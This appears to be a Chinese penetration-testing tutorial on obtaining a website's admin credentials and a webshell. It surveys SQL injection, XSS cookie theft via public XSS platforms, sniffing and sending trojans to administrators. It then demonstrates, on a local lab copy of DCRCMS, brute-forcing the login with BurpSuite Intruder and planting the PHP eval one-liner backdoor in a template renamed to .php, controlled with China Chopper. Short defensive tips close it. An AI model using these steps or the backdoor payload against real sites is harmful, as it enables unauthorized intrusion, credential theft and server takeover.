在实际网络安全评估测试中,前台是给用户使用,后台是给网站管理维护人员使用,前台功能相对简单,后台功能相对复杂,可能保护媒体文件上传,数据库管理等。前台用户可以自由注册,而后台是网站管理或者维护人员设定,渗透中如果能够拿到后台管理员帐号及密码,则意味着离获取webshell权限更进一步了。
1.1web后台账号及密码获取思路
1.通过sql注入获取后台账号及密码
如果网站存在sql注入漏洞,则可以通过sqlmap等工具进行漏洞测试,通过dump命令来获取整个数据库或者某个表中的数据。
2.通过跨站获取管理员帐号及密码
在前台页面中插入xss代码,通过xss平台接收。当管理员访问存在跨站页面时,会将网站管理员登录的cookie值等信息传回到xss平台,有的还可以直接获取管理员账号及密码。xss平台可以自己搭建,也可以使用网上公开的平台,例如http://xsspt.com/index.php?do=login、http://imxss.com/等。
3.通过暴力破解获取管理员帐号及密码
目前有一些工具支持后台账号及密码暴力破解,例如BurpSuite等,在本文后面会重点介绍使用BurpSuite进行后台账号及密码暴力破解。
4.通过获取数据库备份文件
有些网站由于管理失误,将数据库打包放在网站根目录,或者数据库备份文件存在于某个目录,通过目录泄露及浏览等漏洞可以直接获取数据库备份文件。在本地将其还原后,即可获取所有数据。
5.嗅探获取
对C段服务器进行渗透,或者对该目标CMS所在网络进行渗透,渗透成功后,通过Cain等工具对目标CMS的登录后台用户及口令进行嗅探。
6.其它方法
如果知道管理员的信息,可以给管理员发送木马程序,诱使其执行,控制其个人计算机后,可以通过键盘记录等方法来获取管理员账号及口令。当然也有可能管理员IE等浏览器会保存登录账号及口令。
1.2设置BurpSuite进行网站后台破解
1.启动BurpSuite
本次使用PentestBox中的BurpSuite,在PentestBox目录下启动PentestBox.exe程序,然后cd D:\PentestBox\bin\BurpSuite目录,执行java -jar BurpSuite.jar即可启动BurpSuite程序,如图1所示,注意执行cd命令后,使用“d:”切换到d盘当前目录,否则无法启动。pentestbox 是一个综合漏洞测试平台,跟kali比较类似,其官方站点:https://pentestbox.org/zh/,运行环境为Windows。
图1启动BurpSuite
2.BurpSuite启动设置
BurpSuite的启动设置比较简单,单击“Next”及“Start burp”即可,如果是专业版则需要注册码,也即需要注册许可进行注册才能使用专业版功能。
3设置IE等浏览器代理
(1)设置Chrome代理
在Chrome浏览器中单击“设置”-“高级”-“系统”-“打开代理”,在“Internet属性”窗口中单击“局域网设置”,在局域网设置窗口的代理服务器中分别设置地址127.0.0.1,端口为8080,如图2所示,同时单击“高级”设置对所有协议均使用相同的代理服务器。
图2设置浏览器代理
(2)设置BurpSuite代理
单击“Proxy”-“Options”,如图3所示,设置“Interface”值为127.0.0.1:8080,默认情况下不需要进行修改。
图3设置BurpSuite
1.3测试前准备工作
- comsenz测试平台
测试平台选择在Windows下安装comsenz (官方网站:http://www.comsenz.com/)程序下载地址:http://download2.comsenz.com/ComsenzEXP/x2.5/ComsenzEXP_X25GBK.exe,下载后执行安装即可,安装完毕后记住MySQL数据库root账号的密码(默认为1111111),然后将其代码所在全部文件移除到其他文件目录。例如本例安装D:\ComsenzEXP\wwwroot,则需要将wwwroot下所有文件剪切到其它位置。
2.测试cms系统
测试cms系统选择稻草人cms系统,下载地址http://www.dcrcms.com/news.php?id=2,选择1.0.5版本即可。下载地址:http://www.dcrcms.com/uploads/program/dcr_qy(gbk)_1.0.5.1.rar。将该cms压缩包解压后,全部复制到D:\ComsenzEXP\wwwroot目录,然后在浏览器中打开http://127.0.0.1进行cms安装,根据提示即可完成安装,在安装前需要创建一个数据库,例如dcr,安装完成后,第一次使用默认密码admin/admin进行登录,将admin密码修改为abc123。
3.在浏览器中使用随机密码进行登录
如图4所示,打开地址http://127.0.0.1/dcr_qy(utf)_1.0.5/dcr/login.htm,在用户名及密码中分别输入admin/admin进行登录,登录结果显示“您输入的用户名或密码,请重新输入”,完成一次交互登录,由于是错误的密码,因此未能进入后台,由于安装程序的编码版本不一样,有些可能会显示乱码。
图4完成一次交互登录
1.4使用BurpSuite进行暴力破解
1放行数据包
单击“Proxy”-“Intercept”,如图5所示,单击“Forward”放行数据包通过,单击“Drop”丢弃抓包数据,如果设置“Intercept is off”则不用进行放行操作。在设置浏览器代理时一定要查看本地地址,如果对本地进行测试,则需要进行清除,也即所有地址全部使用代理,否则访问测试网站地址后在BurpSuite中没有数据包。
图5设置数据库包交互
2.查看抓包情况
在BurpSuite中单击“HTTP History”,如图6所示,可以看到第3条历史为本次测试数据,选中该记录右键单击选择“Send to Intruder”。
图6查看抓包情况
3设置 Intruder
(1)设置变量§
在 Intruder中对“username=§admin§&password=§admin§&admin_yz=§5781§&x=§37§&y=§9§”进行设置,设置其值为:username=admin&password=§admin§&admin_yz=5781&x=37&y=9,如图7所示,也即去掉username前的变量§以及x=37&y=9中的变量§,添加与去掉§变量,在BurpSuite的右方单击“Add §”及“Clear §”按钮即可。测试变量时一定仅仅保持password的变量,对cookie等中的变量也全部去除掉。
图7设置变量§
(2)设置字典
单击“Payloads”,在其中设置如图8所示,单击“Load”装载密码字典。Payload Sets中设置为“1”,“Simple list”,密码个数为3018。
图8设置字典
(3)捕获出错信息
经过提交错误的密码后,其浏览器会反馈一个结果,如图9所示,将其复制到剪贴板中,“鎮ㄨ緭鍏ョ殑鐢ㄦ埛鍚嶆垨瀵嗙爜锛岃閲嶆柊杈撳叆”信息值用来判断密码登录出错的反馈值。
图9捕获出错信息
(4)设置错误反馈Flag
在Intruder窗口单击“Options”,在Add右边的输入框中粘帖刚才复制的值“鎮ㄨ緭鍏ョ殑鐢ㄦ埛鍚嶆垨瀵嗙爜锛岃閲嶆柊杈撳叆”,如图10所示,该值一定是原始值。
图10设置错误反馈值
4.执行暴力破解
在Intruder中,单击“Target”-“Start attack”后,会弹出一个警示窗口,确定即可,如图11所示,BurpSuite将会根据设置进行暴力破解。
图11执行暴力破解
5.查看暴力破解结果
在BurpSuite破解结束后,可以对Length进行排序,如图12所示,显示长度不一致的结果即为破解成功的记录,在本案例中有两个密码,其密码分别为18和39位,均为破解成功,也即密码为abc123。
图12破解后台密码
6.成功登录后台
重新使用admin/abc123进行登录,如图13所示,成功登录后台。
图13成功登录后台
1.5后台获取webshell
1.文件模板管理
如图14所示,单击“模板管理”-“模板文件管理器”,可以对其中的模板文件进行编辑以及改名等操作。
图14文件模板管理
2.模板文件插入一句话后门代码
在模板文件管理器中选择left.html网页模板文件,如图15所示,在其中粘帖一句话后门代码:<?php @eval($_POST['chopper2012']);?>,单击“修改”,保存模板文件。
图15在模板文件中插入一句话后门
3.重命名模板文件
如图16所示,将原文件名更名为left.php,保存修改;在有些情况下,可能无法进行模板重命名为脚本文件,如果网站服务器存在IIS等解析漏洞,则可以使用1.asp;.html类似名称来命名。
图16重命名模板文件
4.获取webshell
(1)获取webshell地址
回到文件管理器中,直接打开left.php链接地址,如图17所示,获取其真实的url地址:http://127.0.0.1/dcr_qy(utf)_1.0.5/templets/default/left.php,该地址为一句话后门地址,密码为chopper2012。
图17获取webshell地址
(2)使用中国菜刀一句话后门程序管理webshell
如图18所示,在中国菜刀后门一句话管理程序中新增一条记录,密码为chopper2012,双击新增webshell记录,成功获取webshell。
图18获取webshell
说明:由于是在本机搭建的平台,因此http://127.0.0.1/dcr_qy(utf)_1.0.5/dcr/login.htm跟http://192.168.1.191/dcr_qy(utf)_1.0.5/dcr/login.htm为同一套系统,后面是使用IP地址进行访问,前面是通用本机本地测试IP地址。
1.6总结及其暴力破解防御
1.使用BurpSuite进行后台密码暴力破解总结
(1)BurpSuite暴力破解的成功取决于字典的有效。
(2)对于渗透中通过扫描获取的后台地址,可以通过本文的方法来进行测试。
(3)测试前需要收集和准备密码字典文件,可以使用泄露top 10000等密码来做字典,对于公司则可以单独生成字典,例如公司名称+日期等。
2.密码暴力破解安全防范
(1)根据前面的破解过程及思路,设置强密码,使破解的时间成本较长,一般不容易被破解。
(2)修改默认后台管理员账号名称,例如修改admin为my_admin等。
(3)对后台登陆IP地址进行授权管理,非授权IP禁止访问。
(4)对后台登录IP跟MAC地址绑定,因为后台管理人员是已知的,因此可以通过程序来设置只有MAC地址等信息匹配才能进行后台管理,有的后台甚至设置了多次安全验证,比如手机短信验证,动态key等。